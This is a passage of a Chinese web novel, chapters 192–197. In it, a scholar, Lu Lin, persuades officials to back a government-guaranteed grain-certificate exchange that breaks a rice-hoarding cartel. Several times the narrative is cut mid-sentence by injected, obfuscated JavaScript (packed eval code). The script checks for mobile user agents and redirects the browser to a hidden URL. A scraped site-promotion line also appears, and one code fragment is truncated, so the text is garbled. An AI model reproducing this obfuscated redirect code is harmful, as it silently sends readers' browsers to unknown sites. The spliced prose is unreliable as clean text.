一旁的胡一刀听得心惊肉跳,这可是银监司的主官,掌管着所有钱庄的命脉,卢案首怎么一上来就把人给得罪了。 康承民见状,笑着打断了秦有德。 “老秦,你这沉不住气的毛病还是没改。” “就不能听琢之把话说完?” 卢璘笑了笑,也不在意秦有德的态度,继续说道:“四大米行为何能垄断粮价?无非是他们手握现粮,城中无数中小米商,在他们面前毫无议价的权力。” “而学生的想法,就是打破这种垄断。” “我想创立一种粮引,让粮食,变成一种可以随时随地公开买卖的票!” “一石粮引,便对应着未来可以交割的一石粮食。但持有粮引的人,不必立刻运粮存粮!” 秦有德听得一怔,下意识地开口:“这不就是空票?” 作为银监司主官,秦有德见过的骗局太多了。 这种画饼充饥,无中生有的空头票据,是最低级,也是最常见的骗术。 卢璘赞许地点了点头,完全没听出秦有德话里的质疑。 “秦大人果然通透!正是空票。” “但这空票,要有三根柱子撑着,才能立得住。” 卢璘伸出三根手指: “第一根,是官印背书。由康师兄这位转运使亲自盖印,让这粮引,比真金白银还硬!” “第二根,是钱庄兑付。所有粮引,都可以凭引在合作的钱庄进行抵押借款,让它流动起来!” “第三根,是漕运担保。由胡二当家手下的漕帮担保,确保所有粮引到期之后,都能有船可运,有粮可交!” 说到这里,卢璘顿了顿,给两人一个消化的时间,随即抛出了真正的**锏。 “为了确保万无一失,我设计了一份三联票据,作为凭证。” “一份三联,环环相扣。第一联,官印凭证,由转运司存根。第二联,商人持有,用于交易。第三联,钱庄见证,用于抵押。” “以粮食为例,票据上会写明,商品:糙米,按漕运批次分三等。数量:十石一票,可拆解。交割期:秋收后二十日内。违约罚则:逾期一日,扣票面价值百分之一,由钱庄代为执行” 卢璘话还没说完,秦有德的脸色,就彻 底变了。 猛地从椅子上坐直了身子,收起了所有轻视,整个人前倾,一双锐利的眼死死盯着卢璘。 秦有德什么人,江南道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453242|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 银监司主官,是不是骗局他一眼就能分辨出。 听到这里,秦有德要听不出味道,那这个主官白当了。 光是这个三联票据的设计,就足以看出门道! 存根、交易、见证! 权责分明,互相制约,几乎堵**所有**和赖账的可能! 这哪里是什么低级的骗术,分明是一套构思缜密、逻辑严谨的体系! 康承民将老友的反应看在眼里,终于忍不住笑出声来,拍了拍秦有德的肩膀,打趣道。 “怎么样,老秦,我说了是给你送一份天大的功劳,你还不信! 卢璘淡然一笑,伸手将桌上的三只茶盏推到三人面前。 提起茶壶,先是给康承民倒上了一杯。 “这是康师兄的茶! “此后,江南道内,每交易一引,便可从中抽取半文‘市税’。市场波动越大,交易越频繁,税收便越丰厚。国库充盈,便是师兄的青云之功。 说罢,又给秦有德倒满一杯。 “这是秦大人的茶! “所有钱庄,皆可凭引放贷。有官府和漕帮做保,这利息,收得比任何印子钱都安稳。整顿江南钱庄,疏通银根,便是大人您的卓著政绩。 最后,他看向胡一刀,将第三杯茶推了过去。 “这是胡二当家的茶! “所有粮引交割,都必须走漕帮的船。运价,您说了算。数万漕帮兄弟,从此有了正经营生,一条阳关大道。 一番话,将三方的利益,剖析得明明白白。 蛋糕,已经切好,就摆在众人面前。 秦有德听到这里,已经彻底明白了。 卢璘根本不是在跟他们商量,而是早就已经设计好了一切,连每个人的好处都算得清清楚楚。 胡一刀想不了那么深远,但他听懂了最后一句话。 漕帮的兄弟,有正经营生了! 他二话不说,端起茶杯,仰头便灌了下去,然后重重把杯子往桌上一顿。 “痛快!我漕帮的兄弟们,干了! 秦有德看向康承民,两人对视一眼,都从对方的眼睛里,看到了震撼和笑意,而后默默地端起了茶杯。 卢璘见状,也笑着给自己倒上了一杯,举起杯子,与两人的茶杯在空中轻轻一碰。 “那就提前预祝我们的大宗交易市场,一帆风顺了! 第193章 万事俱备! 整整一天两夜。 屋内的灯火未曾熄灭过,偶尔传来几句激烈的争论,但很快又归于平静。 吃饭是黄观亲自送进去的,每次推开门,都能察觉屋内的气氛越来越亢奋。 晚上黄观进去的时候,屋内的四人,除了卢璘,个个双眼布满血丝,但精神却异常饱满。 桌上、地上,到处都铺满了写满字迹的纸张,上面画着各种常人看不懂的图样和流程。 胡一刀睁着一双眼珠子,亮得惊人,手里攥着一支笔,面前的纸上,画着一幅简易的临安府水道图,上面标注着一个个漕帮的码头和仓库。 “按照卢案首的意思,城东的永济仓,最适合做交割仓。那里地方大,码头也宽,一次能停靠二十艘大船。” “但是,安保是个大问题。一旦粮引开始交易,那里就是全临安府的焦点,万一有人动歪心思……” 胡一刀的话还没说完,一旁的秦有德就冷哼了一声。 “安保?” 秦有德指着桌上另一份刚刚拟好的文稿: “《粮引兑付合作协议》里写得明明白白,所有交割仓库,由转运司派驻官兵,协同漕帮共同守卫。” “我倒要看看,谁敢在官兵的眼皮子底下动歪心思!” 一天前的秦有德还是一副公事公办、不苟言笑的模样。 可现在,整个人都亢奋得像一头好斗的公鸡,看向卢璘时,再无半分轻视,全是惊叹和佩服。 康承民端起已经凉透的茶水,一饮而尽,润了润干裂的嘴唇。 看着眼前这幅景象,心中感慨万千。 谁能想到,一个时辰前,这两人还差点吵起来。 起因是秦有德提出了一个致命的风险:万一有人恶意做空,在市场上散布恐慌,引发挤兑,怎么办? 当时,卢璘只是笑了笑,在纸上写下了四个字。 “涨跌停板。” “每日粮引价格的涨跌,不得超过前一日收盘价的一成。一旦触及,立刻休市,次日再开。” “用时间,换空间,足以平息任何非理性的恐慌。” 就是这简单的八个字,让秦有德当场愣了足足一炷香的时间,然后猛地一拍大腿,连说了三个“妙”字。 从 那一刻起,秦有德对卢璘的态度,就彻底变了。 交易场景模拟、时间线规划、开业节奏、场地选址、人员架构、物料清单、风控应急预案. 一天两夜,卢璘事无巨细,将整个大宗交易市场落地的完整细节,一点点的,清晰地展现在他们三人面前。 三人从最初的震撼,到中途的麻木,再到现在的狂热,完全被卢璘描绘出的场景给征服了。 “好了。 卢璘放下手中的笔,长长地吐出一口气。 “大的框架,基本就是这样了。 小说的域名caixs?(请来才 小说 看最新章节 完整章节) “剩下的,就是执行层面的细节,三位都是此道行家,我就不班门弄斧了。 …… 屋外,天已大亮。 清晨的薄雾尚未散去,半亩园的院子里,却早已站满了人。 黄观、陆恒、张胜等一众自强社的生员,一个个顶着黑眼圈,焦躁地在院中来回踱步。 “怎么还没出来?这都一天两夜了! 张胜脾气最急,抓耳挠腮地看着紧闭的屋门。 “不会是出什么事了吧?琢之一个人在里面,万一谈崩了. “闭上你的乌鸦嘴! 刘复瞪了他一眼,可自己心里也没底。 黄观靠在廊柱上,眉头紧锁。 他知道卢璘在下一盘大棋,可这盘棋到底有多大,大到需要和转运使、银监司主官这样的人物,密谈整整一天两夜? 就在众人心焦如焚之际。 “吱呀! 那扇紧闭了两天两夜的屋门,终于开了。 所有人的议论声戛然而止,齐刷刷地望了过去。 第一个走出来的,是胡一刀。 满脸倦容,眼眶深陷,可一双虎目却亮得吓人。 尽管两天未眠,整个人的精气神却一点都不萎靡,反倒是看上去很是振奋。 紧接着,康承民和秦有德一前一后地走了出来。 两位在江南道跺跺脚都能引起官场震动的大人物,此刻也是衣衫微皱,神态疲惫。 卢璘是最后走出屋内的,落了一个身位。 一见到等候在屋外的自强社众人,先是一个眼神让大家安心。 紧接着,目光转向秦有德:“秦大人,你那 边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453243|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事情繁琐千头万绪要理清楚咱们按照既定的章程来” 秦有德点头郑重开口:“琢之你放心!我回去第一件事就是立刻拟定《粮引兑付合作协议》加盖银监司官印通发临安府所有钱庄!” 他现在已经不称呼卢案首了而是直接用了卢璘的字。 康承民也接过话头脸上带着几分歉意: “我这边要签发的《江南道大宗粮市管理条例》可能要稍晚一些。里面的条款太过繁复牵涉甚广时间实在太赶 卢璘闻言摇了摇头。 “师兄等不了了。” “粮价高悬日久民心已是**之末。我们不能等所有事情都尽善尽美再开始。” “边开业边纠错吧。” 原本按照康承民和秦有德的稳妥想法这个“大宗交易市场”从筹备到落地至少需要一个月的时间。 可卢璘等不了。 三十天变数太多。 临安府百姓好不容易被三十万石粮食吊起来的信心根本支撑不了那么久。 夜长梦多。 必须以雷霆之势迅速敲定一切! 康承民和秦有德闻言皆是一震。 边开业边纠错? 这是何等大胆何等离经叛道的想法! 自古以来官府行事哪一件不是谋定而后动将所有细则都敲定得万无一失才敢颁行天下? 可看着卢璘笃定的模样又想到这两天在屋内模拟的场景两人竟说不出一句反驳的话来。 许久康承民重重地点了点头。 “好!就按师弟说的办!” 秦有德也附和道:“我没意见!” 胡一刀更是干脆对着卢璘抱拳咧嘴一笑:“卢案首等你好消息!船和人随时待命!” 三人又交代了几句便在卢璘的相送下匆匆离开了半亩园。 看着一行人远去的背影院子里自强社的生员们彻底炸开了锅。 他们虽然听得云里雾里但秦有德和康承民那副态度他们看得清清楚楚! 那是平等的甚至是带着几分敬重的合作姿态! “琢之!到底怎么样了?” 黄观第一个冲到卢璘面前激动地问道。 陆恒、张胜、刘复等人也齐刷刷地围了上来众人脸上写满了期待和好奇。 卢璘环视一周脸色露出笑意轻轻点头。 “万事俱备了。” 第194章 江南道都漕交易监! 秦有德效率快得惊人。 刚回到银监司官署不久,就已经召集了官署内的骨干。 秦有德端坐于银监司官署的正堂,一身崭新的官服,一丝不苟。 堂下,十余名银监司的骨干官吏,个个手里捧着一份刚刚拟好的文稿,面面相觑,大气不敢出。 “《粮引兑付合作协议》?” “三联票据,官印存根,钱庄见证,漕运担保?” “大人,这.这闻所未闻啊!票引交易,向来是民间私下所为,从未有过官府如此深度介入的先例,万一出了乱子” 一个年长的司务,壮着胆子提出了疑虑。 秦有德瞪了一眼过去,一拍桌子: “乱子?” “如今临安府粮价高悬,民怨沸腾,这才叫最大的乱子!” “这份协议,本官看过了,天衣无缝!康转运使也已点头,此事,势在必行!” 说完,秦有德不再理会众人的惊疑,拿起笔,蘸饱了墨,在文稿的末尾,郑重地签下了自己的名字,随后取出官印,狠狠盖了下去。 红印落下,尘埃落定。 “即刻誊抄,加盖官印,传临安府各大钱庄掌柜,半个时辰后,来我官署议事!” 秦有德站起身,一边整理着衣袖,一边状似无意地对身边的副官吩咐道:“另外,近来江南道借贷之风过盛,多有坏账乱账,本官打算从临安府开始,严查各家钱庄的旧账,收一收这银根。” 副官心头一凛,连忙躬身应是。 …… 一时间,整个临安府大大小小的钱庄都收到了消息。 通源钱庄的后院,大掌柜孙德海刚送走银监司的信使,手里捏着那份盖着官印的《粮引兑付合作协议》,只觉得烫手无比。 “掌柜的,这到底是怎么回事?好端端的,银监司怎么会搞出这么个东西?” 心腹伙计凑上前来,满脸都是疑惑。 孙德海没有回答,只是将那份协议翻来覆去地看,越看,心头越是发沉。 “粮引”、“交割”、“市税”、“三联票据”…… 这些词,他一个都看不懂。 可那上面鲜红的官印,却是真的。 江南道转运司! 江南道银监司! 这两个衙门联手搞出来的东西,绝不简单。 不多时,临安府其他几家大钱庄的掌柜,也都行色匆匆地赶到了通源钱庄。 这些人,无一例外,都是四大米行的大债主。 “孙掌柜,你可看明白了?这银监司葫芦里卖的到底是什么药?” “是啊,又是粮引,又是交割的,这不就是画饼吗?官府怎么也干起这种事了?” “我看,此事不简单。你们听说了吗?外面已经有风声,说秦大人要严查旧账,收紧银根了!” 此话一出,雅间内瞬间死寂。 严查旧账! 收紧银根! “秦大人他这是冲着我们来的?”一个掌柜颤抖着开口。 “还能是冲着谁!我们手里最大的账,不就是周炳他们那一百万两!” “完了!完了!周炳他们囤了那么多粮食,现在码头上又来了三十万石,粮价必崩!他们手里的粮食根本卖不出去,拿什么还我们的钱!” “何止是还钱!银监司真要查起账来,我们这种印子钱的勾当,哪个经得起查?怕是连老本都要赔进去!” 孙德海听着众人的议论,一颗心也沉到了谷底。 但他毕竟是见过大风浪的人,强行稳住心神,重重一拍桌子。 “慌什么!” “天还没塌下来!” 他环视一周,冷声呵斥:“秦大人要查账,是查我们吗?是查周炳他们!是他们借了钱,扰乱市场,才引来了官府!” “我们现在要做的,不是自己乱了阵脚,而是立刻去找周炳他们,逼他们还钱!” 这话让众人稍微冷静了一些。 可立刻就有人提出了新的问题:“逼?怎么逼?他们现在就是把所有米行都卖了,也凑不齐一百万两!临安府的百姓又不傻,都等着卢案首的低价粮,谁会去买他们的高价米?” “是啊!他们现在就是个空壳子,拿什么还?” 孙德海眼中闪过一丝狠厉。 “没钱,就拿东西抵!” “他们名下的田产、铺面、宅子,不都抵押在我们手里吗?立刻派人去清算!一样一样,全都给我收回来!” “我们亏了利息,总不 能再亏了本金! …… 与此同时,临安府,城东大街。 往日里略显冷清的街道,今日却变得人头攒动。 一座刚刚挂牌的官署门前,围满了看热闹的百姓和商户。 牌匾上,“江南道都漕交易监八个黑漆大字,在阳光下显得格外醒目。 布商陈老三就是被这热闹吸引过来的。 他挤进人群,伸长了脖子往里看。 只见官署门口,摆着几张长案,几个自强社年轻生员,正耐心地向围观的百姓解释着。 “各位乡亲们,都看过来! 一个生员站在高处,手里拿着一张印刷精美的票据,高声喊道:“这就是‘粮引’!由江南道转运使司亲自签发,银监司共同见证! “一张粮引,就代表着一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453244|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 百石粮食!童叟无欺! “大家不用担心粮食的真假,也不用自己费心费力去拉去存!所有粮引,都由漕帮的兄弟们负责运输和仓储!凭引提货,方便快捷! 人群中立刻有人发问:“这玩意儿,怎么卖啊? 生员一笑,朗声道:“问得好!我们自强社手里的这批粮引,代表着三十万石来自常州府的新粮!为了尽快平抑粮价,我们愿意以低于市价一成的价格,公开出售! “什么?低一成? 人群瞬间炸开了锅。 “真的假的?现在市面上的米价,都快涨到天上去了,你们这还便宜一成? “那我们买了这票,去哪拿粮食? “万一你们跑了怎么办? 质疑声此起彼伏。 生员不慌不忙,指了指身后的官署大门。 “大家看清楚了,这里是官署!跑得了和尚跑不了庙! “至于提货,大家看到票据上的交割期了吗?秋收后二十日内,凭引到城东永济仓,当场兑付!逾期一日,我们自强社赔付票面价值的百分之一!白纸黑字,官印为证! 陈老三在人群里听得是心潮澎湃。 他是个小布商,手里有点闲钱,最近眼看着粮价飞涨,也动过囤粮的心思。 可一来没门路,二来没地方存,风险太大。 现在,这个“粮引的出现,简直是为他 量身定做! 不用存粮,不用运粮,买的就是一张纸,一张有官府背书、稳赚不赔的纸! 低一成的价格买进来,就算粮价不涨,等过段时间粮价平稳了,自己再把这粮引卖出去,里外里也是一笔不小的赚头! 更何况,这粮引还能去钱庄抵押借款! 这不就是钱生钱吗? 陈老三越想越激动,只觉得浑身血液都在沸腾。 他不再犹豫,奋力从人群中挤了出去,冲到长案前。 “这位小哥,这粮引,怎么买?我要买!” 负责登记的生员抬起头,递给他一张表格和一支笔。 “先填个名录,写明您要买多少。开市之后,我们会按名录顺序,依次办理。” 陈老三接过表格,看着上面“姓名”、“商号”、“认购数量”等栏目,毫不犹豫地在最后一栏,写下了一个“十”字。 十张粮引,就是一千石粮食! 这是陈老三能拿出的全部身家了! 填完表格,陈老三看着门口络绎不绝前来登记的人群,只觉得一个全新的世界,正在自己面前缓缓打开。 他攥紧了拳头,一个念头在心中疯狂滋生。 这次,一定要抓住机会,大赚一笔! 第195章 割肉还能活命! 另一边 周府,会客厅内。 地上,是摔得粉碎的瓷器碎片。 坐在椅子上的常万金胸口剧烈起伏,正指着桌上一份刚刚由钱庄伙计送来的《粮引兑付合作协议》,破口大骂。 “这**写的是什么鬼东西?粮引?交割?三联票据?” “官府疯了?转运司和银监司,怎么会陪着一个穷秀才玩这种把戏!” 一旁的苏十三娘脸色也不好看,平时那双媚眼也没了往日光彩。 她看不懂里面那些绕口的条文,但她看得懂最下面那两个官印。 江南道转运司! 江南道银监司! 这两个衙门,一个是管着整个江南漕运命脉的顶头上司,一个是捏着所有钱庄命根子的阎王爷。 现在,他们联手了。 端坐在主位的周炳也一言不发,盯着那份协议,一遍又一遍地看。 “这一定是卢璘那小畜生搞的鬼!” 常万金一拳砸在桌上:“可他凭什么?他凭什么能指使转运使和银监司主官?” “一个秀才,就算是个案首,圣上夸过两句,他有这么大的面子?” 这个问题,不仅是常万金想不通,周炳也想不通。 康承民、秦有德,这种级别的人物。 卢璘何德何能,能让这两尊大神为他站台? 苏十三娘闻言,冷哼一声:“凭什么?还能凭什么?无非是利益二字。” “可我们想不通,这利益到底在哪。” 周炳终于开口:“这套东西,对官府有什么好处?就为了帮一群百姓压粮价?官府什么时候这么好心了?” 这才是最诡异的地方。 官府行事,向来是求稳。 这种闻所未闻的粮引交易,风险巨大,一个不慎就会动摇市场根基,引发更大的乱子。 康承民和秦有德,没道理冒这么大的风险。 就在这时,雅间的门又被猛地推开。 一个周府的下人气喘吁吁的跑了进来: “老爷!老爷!外面.外面挂牌了!” 周炳心里咯噔一下:“挂什么牌?” “江南道都漕交易监!” 下人喘着粗气,从怀里 掏出一张刚刚从街上揭下来的告示:“官府刚颁布的《江南道大宗粮市管理条例》!” 周炳一把拿过告示。 常万金和苏十三娘也立刻凑了过来。 告示上的字比那份协议更让他们心惊肉跳。 “涨跌停板?” “市税?” “统一仓储漕帮担保?” 一个个陌生的词汇映入三人眼帘。 如果说之前的《合作协议》还只是让他们有些不安。 那么这份由转运司正式签发的《管理条例》则清清楚楚地告诉他们官府不是在开玩笑。 他们是来真的! “完了.” 常万金一屁股瘫坐在椅子上喃喃自语:“这么一来粮价涨不上去了。” 何止是涨不上去。 当全临安府的百姓都相信有官方背书的低价粮引会源源不断地供应时谁还会来买他们手里的高价粮? 哪怕家里已经断炊也会咬着牙再等一等。 他们囤在仓库里价值几百万两白银的粮食现在成了一堆烫手山芋! “现在怎么办?” 常万金猛地抬头双眼赤红地盯着周炳:“我今天上午通源钱庄的孙德海就派人堵到我家门口了!我躲在后院 “那群吸血鬼!当初借钱给我们的时候一个个跟条狗似的!现在闻到一点不对劲就想上门来抽筋扒皮!” “早知道早知道当初就该直接弄死那个小畜生!” 苏十三娘听着他的咆哮也是一阵心烦意乱。 她手下那些米铺的掌柜今天已经来了好几拨全都是来问对策的。 周炳也好不到哪里去自己借的三十万两银子又何尝不是抵押了名下的各种田产铺子。 一想到价值上百万两的粮食可能要砸在手里周炳对卢璘恨得咬牙切齿深吸了口气: “现在说这些还有什么用?” “现在最大的问题是必须要止损。” “止损?怎么止?” “割肉吗?谁来买?现在整个临安府谁敢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453245|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接我们手里的粮食?连个问价的都没有!” “百姓都在等低价粮那些中小米商一个个精得跟猴似 的不落井下石就不错了还指望他们来接盘?” 这段话常万金几乎是吼出来的。 雅间内陷入了死一般的沉寂。 许久苏十三娘才幽幽开口打破了沉默: “既然没人买我们的粮。” “那我们能不能去买他们的‘粮引’?” 这话一出周炳和常万金同时一愣。 苏十三娘面色凝重的继续说道:“我们手里不是还有银子吗?我们也可以参与进去!去那个什么交易监把卢璘手里的粮引都买过来!只要粮引在我们手里粮价一时半会还降不下来” 常万金的眼睛瞬间亮了:“对啊!我们买光他的粮引!看他怎么收场!” 周炳却摇了摇头给他们泼了一盆冷水。 “你们以为就我们想得到?” “这份告示一出全临安府的商户只要手里有点闲钱的都会扑上去。我们能拿出多少钱?跟全城的商人比吗?” “更何况钱庄那边已经靠不住了。” 是啊他们已经不是那个可以呼风唤雨的四大米行了。 他们现在是自身难保的泥菩萨。 “那也得去!” 苏十三娘咬了咬牙:“我们不去就只能眼睁睁看着粮价一天天跌下去看着手里的粮食烂在仓库里!” “去至少还有一线机会!” “我们可以挂牌!不止买我们也可以卖!” “我们把手里的粮食也变成粮引挂到那个交易监去卖!哪怕.哪怕是亏本卖!” 常万金一听要亏本立刻叫了起来:“亏本?那我们不是白忙活了?” “不亏本你就等着血本无归吧!” 苏十三娘厉声呵斥:“现在是割肉还能活命 周炳闭上眼睛深深地吸了一口气。 苏十三娘的话虽然难听但却是唯一的活路。 参与进去。 周炳缓缓睁开眼眼中再无半分犹豫: “去。” “备车去城东去江南道都漕交易监。” 第196章 按规矩办! 城东大街,江南道都漕交易监门前。 车马都没能顺利开进去,周炳一行人便被排成长龙的人流给堵得不能前进了。 无奈之下,只能提前下马车,步行到交易监门外。 刚一下车,耳边尽是百姓,商户们的呼喊声。 “买!必须买!这粮引就是白捡的钱啊!” “官府背书,漕帮担保,这还能有假?我把我家铺子都押上,也要吃下五十张!” “你们没看告示吗?这粮引还能去钱庄抵押!这是钱生钱的宝贝啊!” 常万金看着那些挤破了头往里冲的人群,整个人都傻了。 “这一张粮引就800两银子,他们他们哪来这么多钱?” 刚站稳的苏十三娘看着眼前哄抢的景象,脸色更加凝重: “不是钱的问题。” “是人心,人心,已经不在我们这边了。” 周炳一言不发,一双阴鸷的眼珠子扫过全场,最后定格在那块刺眼的牌匾上。 江南道都漕交易监。 好一个交易监! 好一个卢璘! 看着即将迈步进去的周炳,常万金下意识地开口问道。“不等齐老拐吗?” 周炳头也不回,发出一声冷笑: “等他?” “谁等我们?现在都火烧眉毛了!他齐老拐赶不上,那是他自己倒霉!” 大难临头各自飞。 死道友,不死贫道。 都到这个份上了,还指望什么狗屁联盟? 能保住自己就不错了! 周炳理了理衣衫,从人群中硬生生挤出一条路,径直走向那几张摆在门口的长案。 “我们也要挂牌。” 负责登记的生员抬起头,在看清来人是周炳时,动作微微一顿。 不动声色地侧过身,对身后的同伴使了个眼色,示意他立刻去后堂通报。 做完这一切,他才重新转向周炳,摆出一副公事公办的模样。 “这位东家,您是想买引,还是想卖引?” …… 与此同时。 交易监内堂,一间雅致的茶室内。 齐老拐正满脸红光地端着茶杯,对着卢璘和陆恒,姿态摆得极低。 “卢案首,不,不,应该称呼卢总办!您这套粮引,当真是神来之笔啊! “利国利民,稳定市场 说着,又转向一旁的陆恒,一张老脸上笑得皱纹都能夹死苍蝇了。 “陆协理也是年少有为,前途不可限量啊!这交易监,日后必定是我江南道的钱袋子,年纪轻轻就能出任协理督办,未来可期,未来可期啊! 最后,目光再次落回卢璘身上,话语中的恭敬又多了几分。 “卢总办身居总办市务之位,掌管整个市场的运作,日后怕是跺一跺脚,整个江南的商界都要抖三抖的人物! 陆恒听着齐老拐不要钱一样的奉承话,心里暗自发笑。 前些日子,自己求见这位齐东家一面,何其难也。 没想到,交易监的牌子一挂出来,这齐老拐竟主动找上门来,姿态放得比谁都低。 至于夸自己年少有为,担任协理督办? 那更是沾了琢之的光。 江南道都漕交易监,名义上是转运司和银监司共管的半官方机构。 康承民挂着总督漕务的虚衔,是最高监管,却不干涉日常。 秦有德担任提举交易监事,算是行政长官,也只负责审批规则,不直接管理。 真正全权掌控市场运作的,正是卢璘这个总办市务。 而自己这个协理督办,说白了,就是帮着琢之处理日常杂务的副手。 卢璘对齐老拐的吹捧只是淡然一笑,没吭声。 齐老拐是个聪明人,知道什么时候该割肉止损。 主动找上门来,对卢璘而言也是好事。 四大米行的联盟,有了这么一个大裂口,剩下的周炳等人,就更蹦跶不起来了。 陆恒则适时地打了个圆场:“齐叔此举,才是真正的明智之举。粮引一出,大宗交易步入正轨,这粮价,必然会回归常态。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453246|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 卢璘点了点头,将话挑得更明。 “粮价肯定会降,而且会降得很快。齐东家今日的损失,是免不了的。 “但比起另外三家,你的损失会是最小的。 卢璘伸出一根手指,报出了一个价格。 “我以这个价,收下你手里所有的存粮。你即刻便可脱身 。” 齐老拐听到那个价格,脸上的肉都忍不住抽搐了一下。 这个价钱,比他预想的还要低。 亏,是亏到姥姥家了。 但心里默默盘算着,卢璘给出的价格虽然低,却能让他一次性出清所有库存,拿到现银。 比起周炳他们拿着一堆卖不出去的粮食,等着被钱庄逼债,最后倾家荡产,自己的结局要好上太多。 更重要的是,他搭上了交易监这条线。 提前入场,熟悉这套全新的游戏规则,日后能赚回来的,又何止是今日亏损的这些? 想到这里,齐老拐咬了咬牙: “好!” “就按卢总办说的办!” 话音未散,雅间的门就被轻轻敲响。 一个自强社的生员探进头来,神色有些紧张,快步走了进来,低声汇报。 “社首,陆协理,周炳、常万金,还有苏十三娘,他们来了!” 陆恒闻言一怔,旋即反应过来,脸上露出笑意。 转头看向身旁的齐老拐,调侃道:“看吧,齐叔,我就说,你这是明智之举啊,另外三家也坐不住了。” 齐老拐脸上的笑容顿时变得有些尴尬,干笑了两声,心里却是一阵庆幸。 还好自己跑得快。 要是再晚一步,跟周炳他们撞上,那场面可就难看了。 现在自己已经和卢总办达成了协议,虽然是割肉求生,但总归是上了岸,不用再跟那几个蠢货一起在泥潭里挣扎。 陆恒没再理会齐老拐的小心思,转而看向卢璘,征询道:“琢之,怎么处理?” 卢璘笑了笑,回了四个字。 “按规矩办。” 第197章 堂堂正正的阳谋! 规矩? 什么规矩? 那自然是《江南道大宗粮市管理条例》里的规矩。 陆恒细细一想,琢之说的应该是关于交易保证金的规定。 所有在交易监内进行的粮引买卖,都必须缴纳一笔保证金。 买入粮引,需缴纳票面价值两成的保证金。 而卖出粮引,则需缴纳票面价值三成的保证金! 就是这多出来的一成,精准地卡在了四大米行的脖子上! 他们囤积了百万石粮食,现在最迫切的,就是将手里的粮食变成粮引,挂到交易监来抛售,回笼资金。 可这三成的保证金,意味着他们每想卖出一千两银子的粮引,就得先拿出三百两的现银押在这里! 可四大米行现在手里还有多少钱? 刚刚齐老拐已经把四大米行的老底交得一清二楚了。 光凭手上这大几十万,可不一定能达到保证金的线! 更别说秦有德放出风声,银监要收缩银根,钱庄的催债人怕是已经堵在了家门口了。 就这么一个小小的设计,对四大米行却是致命的。 釜底抽薪,何其狠辣! 想明白的陆恒,再看向卢璘时,更觉得敬畏。 这就是琢之的手段嘛! 堂堂正正的阳谋,将规则摆在台面上,让你跳,又让你无话可说。 “我明白了。”陆恒重重点头,转身便准备出去处理。 一旁的齐老拐见状,也连忙起身,有些不好意思地搓了搓手,凑到陆恒身边,压低了声音: “那个.贤侄陆协理,你看,咱们这交易监,有没有后门?” 就这么堂而皇之地从正门走出去,跟周炳那几个人碰个正着,齐老拐多少有些下不来台。 毕竟昨天还是同气连枝的盟友,今天自己就先一步投诚了。 陆恒看着齐老拐这副样子,哪能不明白,笑着点了点头。 “齐叔放心,我懂。” 说完,陆恒唤来一个生员,低声吩咐了几句,让他带着齐老拐从后院的偏门离开。 处理完这些,陆恒才深吸一口气,整理了一下衣衫,大步流星地朝着交易监的前堂走去。 人还没到前厅,一阵刺耳的叫骂声便传了 过来。 “什么狗屁保证金!凭什么买引交两成,我们卖引就要交三成?这不是明摆着针对我们吗? 常万金耷拉着一张臭脸,正对着负责登记的生员狂喷唾沫。 “老子看你们这什么狗屁交易监,就是个骗子窝!官府什么时候干过这种事? “你们就是想把我们的钱都骗走!大家别上当,这都是骗局! 常万金一边骂,一边还试图煽动周围看热闹的商户和百姓。 